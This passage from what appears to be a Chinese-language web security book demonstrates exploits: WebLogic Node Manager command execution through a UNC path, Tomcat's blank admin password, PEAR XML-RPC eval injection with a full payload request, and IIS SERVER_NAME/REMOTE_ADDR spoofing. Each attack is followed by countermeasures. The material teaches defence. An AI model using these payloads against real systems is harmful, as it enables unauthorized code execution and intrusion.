我们之所以先向你展示容易的方法是因为这是大部分攻击的执行方式(因为最恶意的入侵是沿着最小阻力的路径前进的)。
但是,更加高级的攻击者可能花费更多的时间和精力来击垮Web服务器,所以我们在这个小节里花一些时间来阐述一些更精细的手工攻击点。这个示例中最需要注意的是,和Metasploit示例不同,识别和将来利用漏洞都需要更多时间和技能。记住一点:你运行的Web平台没有受到Metasploit这样的项目的大量关注,并不意味着你的漏洞较少!
Oracle WebLogic Node Manager远程命令执行
2010年5月,WebLogic Node Manager服务中发现了一个漏洞,这个漏洞最终允许在WebLogic服务器上执行任意命令。WebLogic是Oracle的流行J2EE平台。
WebLogic Node Manager是用于启动和停止WebLogic服务器实例的管理服务。它使用简单的基于文本网络协议与客户通信,默认情况下,在TCP端口5556上使用SSL封装数据流。这个协议语法简单,因此使用netcat、OpenSSL或NCat等工具与Node Manager服务通信很容易:
$ ncat --ssl 192.168.237.128 5556 HELLO +OK Node manager v10.3 started
可以看到我们连接到192.168.237.128的Node Manager服务,并且发出HELLO服务。该服务发送给我们一个成功代码以及服务版本10.3作为响应。有些人称此为一个Bug;有些人称之为一种特性。不管怎么说,服务将版本号泄露给未授权的远端用户,这在你制定攻击计划时是有用的。
Node Manager协议要求除了HELLO之外的大部分命令必须指定一个有效的WebLogic域。Oracle对WebLogic域的定义为:
WebLogic服务器实例的基本管理单位。域由一个或多个用同一管理服务器管理的WebLogic服务器实例(及其相关资源)组成。
指定WebLogic域名之后,Node Manager要求使用USER和PASS命令进行验证。这就避免了未授权用户调用危险的Node Manager命令,如用来执行用户所指定程序或者脚本的EXECSCRIPT。用户指定的脚本可以是当前选定WebLogic域的工作目录中的任何可执行文件。
我们将重建一系列幕后的行动,让你看到Web平台漏洞研究基本思路的一个例子,这些行动用来发现Node Manager中DOMAIN、USER和PASS命令实现中的缺陷,最终导致利用这些漏洞入侵WebLogic服务器的。
提示 研究一个漏洞时,注意开发一次攻击中可以提供额外影响的行为或者功能。将多个问题串连起来建立一个有效的攻击常常是必要的。
研究漏洞的第一步是研究负责处理Node Manager命令的WebLogic 10.3.3应用源代码。为了研究WebLogic代码,我们首先必须进行反汇编。因为WebLogic中的许多组件以Java编写,反汇编是件简单的工作。有许多Java反汇编程序——这次研究中使用的是jad(Java Disassembler)。jad是免费的,可以运行在各种操作系统上(jad的链接参见本章末尾的“参考与延伸阅读”小节)。其他类型的二进制文件比Java更难反汇编,当然也就需要更复杂的分析技术(例如二进制文件差分和修补)。但是攻击开发中这一步的目标对任何二进制文件都是一样的:确定尽可能靠近源代码的漏洞根源。
WebLogic类文件存储在WebLogic安装程序中一个叫做weblogic.jar的Java档案文件中。Java档案实际上就是带有.jar扩展名的ZIP文件,所以可以用大部分流行的解压工具提取其内容。
前面提到过,EXECSCRIPT是Node Manager输出的强大管理命令。本能地,我们在解压后的类文件中搜索“EXECSCRIPT”字符串,直奔要点。下面的文件就是反汇编的目标:
$ egrep -r EXECSCRIPT * Binary file weblogic/nodemanager/common/Command.class matches Binary file weblogic/nodemanager/server/Handler.class matches Binary file weblogic/nodemanager/client/NMServerClient.class matches Binary file weblogic/nodemanager/client/ShellClient.class matches Binary file weblogic/nodemanager/client/NMClientTool.class matches
对每个文件进行额外的挖掘之后,我们确定Handler.class实现EXECSCRIPT和其他所有Node Manager命令。用jad反汇编Handler.class,我们可以看到原始的Java源代码。分析表明,Node Manager将用户提供的命令与一个有效命令的列表进行比较,这里有一个重要的例外:DOMAIN命令调用另一个例程handleDomain()进行处理。对源代码的进一步分析指出,DOMAIN命令接受两个参数:第一个参数是Node Manager客户希望工作的WebLogic域名。第二个参数用于指定于配置文件所在的目录。handleDomain()方法将这两个参数传递给getDomainManager(),getDomainManager()创建一个DomainManager类实例;以下是源代码的节选:
Map map = config.getDomainsMap(); if(s1 == null) { s1 = (String)map.get(s); if(s1 == null) { for(Iterator iterator = domains.values().iterator(); iterator.hasNext();) { DomainManager domainmanager = (DomainManager)iterator.next(); if(domainmanager.getDomainName().equals(s)) { domainmanager.checkFileStamps(); return domainmanager; } } s1 = config.getWeblogicHome(); } } s1 = (new File(s1)).getCanonicalPath();
仔细查看这段代码,我们发现如果用户没有在第二个参数中指定工作目录,getDomainManager()试图通过搜索与用户指定域名匹配的域的WebLogic配置,查找正确的目录;如果找到,就设置相应的工作目录。否则,就抛出一个错误,DOMAIN命令失败。
这很好,但是如果用户指定了工作目录又会发生什么?WebLogic接受用户提供的值并且用作当前Node Manager会话的工作目录!这意味着用户能够控制WebLogic读取域配置文件的位置。结果是,可以指定完全限定路径、包括UNC路径作为Node Manager工作目录。考虑下面的示例:
DOMAIN my_domain \\192.168.237.1\c$ -ERR I/O error while reading domain directory
这里我们告诉WebLogic,工作目录是192.168.237.1上的Windows共享目录C$。WebLogic试图从这个共享目录上装入域配置文件,但是因为那里没有配置文件而失败。我们可以检查Node Manager日志文件来验证,日志中揭示了如下信息:
<WARNING> <I/O error while reading domain directory> java.io.FileNotFoundException: Domain directory '\\192.168.237.1\c$' invalid (domain salt file not found)
为了使Node Manager接受我们的UNC路径,相信它是WebLogic域的有效位置,我们必须在这个共享目录上复制正确的配置文件和目录结构。在这么做之前,必须知道要复制的文件。为了确定这一情况,我们使用SysInternals的Process Monitor工具,这个工具能监控Node Manager处理DOMAIN命令时的所有文件读/写操作。如图3-4所示,Process Monitor显示Node Manager试图从远程共享目录上读取的文件名。
图3-4 Process Monitor显示丢失的Node Manager文件
从现有的Node Manager安装复制有效的Node Manager配置文件并将其放置在远程共享目录上,我们就能使Node Manager接受我们的UNC路径,作为有效的工作目录。复制这些文件后,我们再次强制使用UNC路径:
DOMAIN my_domain \\192.168.237.1\c$ +OK Current domain set to 'my_domain'
成功了!设置了域之后,我们必须验证。但是如何获取有效的凭证呢?答案是,我们不需要有凭证。WebLogic不在一个中心位置,而是在域配置目录中的一个文件nm_password.properties存储域凭证。我们可以控制域配置目录,只要从我们控制的域(已经为之创建了用户和密码)中复制nm_password.properties到UNC共享中就可以了。之后,可以使用USER和PASS命令向Node Manager验证:
DOMAIN base_domain \\192.168.237.1\c$ +OK Current domain set to 'base_domain' USER weblogic +OK NM usr set to 'weblogic' PASS w3bl0g1c +OK Password accepted
验证之后,创建一个恶意脚本,将其复制到UNC共享,调用EXECSCRIPT执行它都是简单的事情了。为了测试,我们创建一个有以下内容的批文件runme.bat:
@echo off echo Hacking Exposed - Web Applications
根据前面的Process Monitor分析,Node Manager预期所有可执行文件都在bin\service_migration目录下,所以我们将批文件存储在那里。现在可以调用EXECSCRIPT命令运行这个批文件:
EXECSCRIPT runme.bat +OK Script 'runme.bat' executed
成功!为了复核这个批文件确实执行,我们检查Node Manager日志文件:
May 19, 2010 4:56:31 PM weblogic.nodemanager.server.NMHelper$Drainer run WARNING: '\\192.168.237.1\c$\bin\service_migration' <May 19, 2010 4:56:31 PM> <WARNING> <CMD.EXE was started with the above path as the current directory.> <INFO> <Hacking Exposed - Web Applications>
最后一行显示文本“Hacking Exposed-Web Applications”,确认runme.bat运行。这样,我们已经展示了多种实现缺陷是如何串联起来,创建可以用于在WebLogic Node Manager服务器上执行任何命令的毁灭性漏洞的。
Oracle WebLogic Node Manager远程命令执行对策
为了阻止攻击者利用这个漏洞,WebLogic服务器应该禁用Node Manager,或者设置防火墙,仅允许来自中央管理系统的连接。Oracle已经发布了一个补丁来处理这个问题。应该尽快测试这个补丁并部署到受影响的系统上。
Apache Tomcat默认空白管理员密码
Apache Tomcat Server是流行的Java Servlet和Java Server Pages实现,在Windows平台上,默认情况下管理用户使用空白密码。在UNIX上,默认不创建任何管理用户;用户必须在安装之后手工添加。这种表现可能使Tomcat部署容易遭到管理级的入侵。
为了阐明攻击者如何找到这样的服务器,我们在192.168.1.80主机上安装了Tomcat 6.0.0。为了举例,我们假定默认的管理URL http://192.168.1.80:8080/admin未作更改。可以使用一个Web浏览器查看管理页面,因为8080是常用的HTTP端口:
看到Tomcat的登录页面,我们试图用空白密码登录为管理员:
登录成功!这可能是一个Windows Tomcat安装,除非有人在UNIX系统上手工地添加一个有空白密码的admin用户。
Apache Tomcat默认空白管理员密码对策
Apache Foundation已经发行了Tomcat的修复版本,在安装程序中处理这一问题。部署Tomcat时,确保安装最新的版本。如果需要旧版的Tomcat,要在隔离的主机上安装,并且更新$CATALINA_BASE/conf/tomcat-users.xml文件,删除admin用户或者明确设置一个密码。
PEAR/PHP XML-RPC代码执行
2005年7月,PEAR/PHP XML-RPC中发现了一个漏洞,允许远程PHP代码执行。这种攻击有非常深远的影响,因为许多流行的免费应用将PEAR/PHP XML-RPC作为它们的Web服务程序库。这些应用包括PostNuke、Drupal、b2evolution和TikiWiki。实际上,2005年11月发行的一个蠕虫利用了这一攻击方法(以及其他),对于这么普遍的漏洞,这种情况总会出现。这个蠕虫根据恶意软件供应商的不同,称作Lupper或者Plupii。
这种攻击的工作原理是:在XML解析引擎中,有一个eval()调用嵌入来自外部XML请求的用户输入,使攻击者能够制作一个简单的XML请求,嵌入一个脱离eval()语句并搭载PHP代码的攻击字符串。这种攻击类似于SQL注入或者XSS之类攻击方法,攻击字符串必须转换以匹配周围的代码才能够正确执行。我们来更仔细地看看这种攻击的工作原理。
在下面的例子中,我们将经历对一个有漏洞的PhpAdsNew版本进行攻击,这个版本使用PHP XML-RPC。PhpAdsNew使用名为adxmlrpc.php的文件来接受Web服务请求,然后依次调用XML-RPC程序库来处理这些请求。接下来展示的实际攻击相当简单。这次攻击包含在“name”域中,由结束原有引号和传入一个执行目录列表的PHP命令组成(以粗体显示)。
注意 adxmlrpc.php脚本只是脆弱的XML-RPC程序库的一个网关。在其他脆弱的应用中,攻击主体相同,但是脚本被换成应用用于处理XML请求的任意脚本。
POST /phpAdsNew/adxmlrpc.php HTTP/1.0 Host: localhost Content-Type: application/xml User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Content-Length: 162 Connection: Close <?xml version="1.0"?><methodCall><methodName>junkname</ methodName><params><param><name>');passthru("dir");//</name><value>junk</ value></param></params></methodCall>
脆弱的服务器按照攻击者的指示,会响应目录列表:
HTTP/1.1 200 OK Connection: close Content-Type: text/html Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 X-Powered-By: PHP/4.4.0 Server: Srv/4.0.0.4033 Volume in drive C has no label. Volume Serial Number is 98C0-5EE5 Directory of C:\Apache\docs\phpAdsNew 11/11/2010 12:11 PM <DIR> . 11/11/2010 12:11 PM <DIR> .. 01/13/2010 04:43 PM 6,166 adclick.php 03/14/2010 10:27 AM 3,280 adcontent.php 03/14/2010 10:12 AM 5,077 adframe.php 01/13/2010 04:43 PM ,251 adimage.php 03/08/2010 12:14 AM 4,435 adjs.php 01/13/2010 04:43 PM 6,250 adlayer.php 01/13/2010 04:43 PM 4,122 adlog.php 11/11/2010 12:11 PM <DIR> admin 01/13/2010 04:43 PM 8,618 adpopup.php 01/13/2010 04:43 PM 9,877 adview.php 10/09/2010 07:39 PM 73 adx.js 01/13/2010 04:43 PM 5,867 adxmlrpc.php 11/11/2010 12:11 PM <DIR> cache 11/11/2010 12:11 PM <DIR> client 11/10/2010 03:57 PM 6,706 config.inc.php 01/13/2010 04:43 PM 1,144 index.php 11/11/2010 12:11 PM <DIR> language 11/11/2010 12:11 PM <DIR> libraries 10/29/2010 10:01 PM 15,515 LICENSE 11/11/2010 12:11 PM <DIR> maintenance 11/11/2010 12:11 PM <DIR> misc 01/13/2010 04:43 PM 2,254 phpadsnew.inc.php 03/15/2010 11:20 AM 5,273 README 16 File(s) 87,908 bytes 9 Dir(s) 10,690,588,672 bytes free <?xml version="1.0"?> <methodResponse> <fault> <value> <struct> <member> <name>faultCode</name> <value><int>1</int></value> </member> <member> <name>faultString</name> <value><string>Unknown method</string></value> </member> </struct> </value> </fault> </methodResponse>
可以看到,这种攻击非常简单而有效。查看代码,以便更仔细地观察这个问题的实际原理。这个安全问题位于程序库自带的lib-xmlrpcs.inc.php文件中的一段代码。这段代码在parseRequest()函数中:
// now add parameters in $plist=""; for($i=0; $i<sizeof($_xh[$parser]['params']); $i++) { $plist.="$i - " . $_xh[$parser]['params'][$i]. " \n"; eval('$m->addParam(' . $_xh[$parser]['params'][$i]. ");"); }
这个函数取XML请求中定义的所有参数,将其嵌入到eval()函数。文本中粗体的部分是用户输入提供的参数名。注入通过一个引号脱离该字符串的参数名,攻击者可以执行其PHP代码。在这个例子中,我们只要在参数名插入参数名称',''));phpinfo();/*,使得代码类似于下面的示例,就可以运行phpinfo()函数,其他PHP代码将被注释掉:
eval('$m->addParam('','')); phpinfo();/*
PEAR/PHP XML-RPC对策
PHP XML-RPC和PEAR XML-RPC都发行了消除这一漏洞的补丁版本。对于PHP XML-RPC,更新到1.2或者更高版本,对于PEAR XML-RPC,更新到1.43或更高版本。获得这些补丁的地址在本章结尾处的“参考与延伸阅读”小节。
远程IIS 5.x和IIS 6.0服务器名欺骗
如果你仔细查看这个漏洞,就会发现它的影响相当大,但是它却逃脱了大部分人的视线。这个问题最初公布时说明了攻击者可以访问ASP代码的各个部分,但是更深入地研究之后,这种攻击能使攻击者具备对编码质量不佳的应用进行主机名欺骗的能力。我们来更仔细地看看它的工作原理。
问题出在用ASP或.NET开发Web应用之时,开发人员此时必须访问应用所在的Web服务器的IP地址。许多开发者将会进行下列的调用,以便获得应用所运行的Web服务器的主机名或IP地址:
Request.ServerVariables("SERVER_NAME") (ASP) Request.ServerVariables["SERVER_NAME"] (.NET)
这些调用返回局部环境变量的“SERVER_NAME”值。如果请求从互联网发起,这个变量的值通常是Web服务器的IP地址。如果请求来自实际的Web服务器,该变量的值是“localhost”。表3-1中总结了这种表现。
表3-1 SERVER_NAME变量值取决于请求来源
开发人员往往使用这个功能检查请求是否来自于本地主机,如果请求来自本地主机,就开启某种级别的受限功能。例如,开发人员将使用这种方法阻止对管理页面的请求,除非请求来自本地主机。
这种特殊漏洞源自于Microsoft使用这种方法处理错误文件的方式。默认情况下,所有IIS安装都有包含默认IIS错误信息的IISHelp目录。默认情况下,500-100错误代码指向“/iishelp/common/500-100.asp”页面。因此,对于发生在IIS服务器的500错误,IIS将使用这个页面作为回显给用户的响应模板。这种表现对于VBScript和数据库错误来说是很常见的。
为了确定错误是否显示给本地用户,Microsoft IIS 5.x上的500-100.asp使用Request.ServerVariables("SERVER_NAME")API。如果显示,错误页面转储揭示错误发生的准确位置的源代码。如果客户不是本地的,则显示通用错误页面,如图3-5所示。
漏洞是“SERVER_NAME”变量可以通过指定Host:首部或者GET http://spoof/file.asp URL中的值覆盖。例如,用这个请求将自己标识为localhost:
GET http://localhost/product_detail.asp?id=a HTTP/1.0 Host: 192.168.1.1
现在我们接收到下图中的响应。
图3-5 从互联网客户端看,常规的IIS错误信息显示通用信息
注意,这次我们接收到与错误信息相伴的源代码。但是这种信息本身没有给人留下很深的印象,我们喜欢的是这个漏洞的神奇和潜力。这不是缓冲区溢出或者路径遍历攻击,但是如果你坐下来想一想这个漏洞的可能影响,就会发现它是相当吸引人的。我们可以看到在多主机的情况下,开发人员可能使用这个变量限制访问某些站点。实际上,我们最近有机会利用这个问题,发现如果我们作为localhost,就能够访问开发人员管理页面,可以查看与此网站相关的所有调试信息。谢谢开发人员!
这种欺骗攻击令人想起常常会看到的一个紧密相关的开发问题。使用ASP和.NET时,许多开发人员使用下面这种调用取得用户输入:
Username = Request["username"]
让我们更仔细地观察一下。要确定用户是来自于本地主机或者特定IP地址,正确方式是检查“REMOTE_ADDR”服务器变量。这会告诉你客户端IP地址。因此开发人员可能会在代码中添加下面这一行:
if(Request["REMOTE_ADDR"] == "127.0.0.1")
从而将用户愉快地送到管理页面。这行代码只当它提供服务器变量的正确值时才能正常工作。但是如果你聪明的话,就能很容易发现用户可以在URL上指定该值而绕过这一校验:
http://www.site.com/auth.aspx?REMOTE_ADDR=127.0.0.1
这一欺骗因为IIS处理输入的顺序而成功。IIS首先在查询集合中寻找REMOTE_ADDR、然后在传递的数据中,之后是cookie,最后才是服务器变量。因为检查变量首先从查询开始,用户提供的数据始终优先于服务器变量。因为这种错误而存在漏洞的网站数量多得令人吃惊。
远程IIS 5.x和IIS 6.0服务器名欺骗对策
这个问题的对策是不要在任何类型的主机名或者IP地址校验中使用“SERVER_NAME”变量。作为替代,应当正确地使用“REMOTE_ADDR”:
Request.ServerVariables["REMOTE_ADDR"]
这将正确而安全地获得客户端远程地址。好的做法是访问任何服务器变量时都使用Request.ServerVariables[]。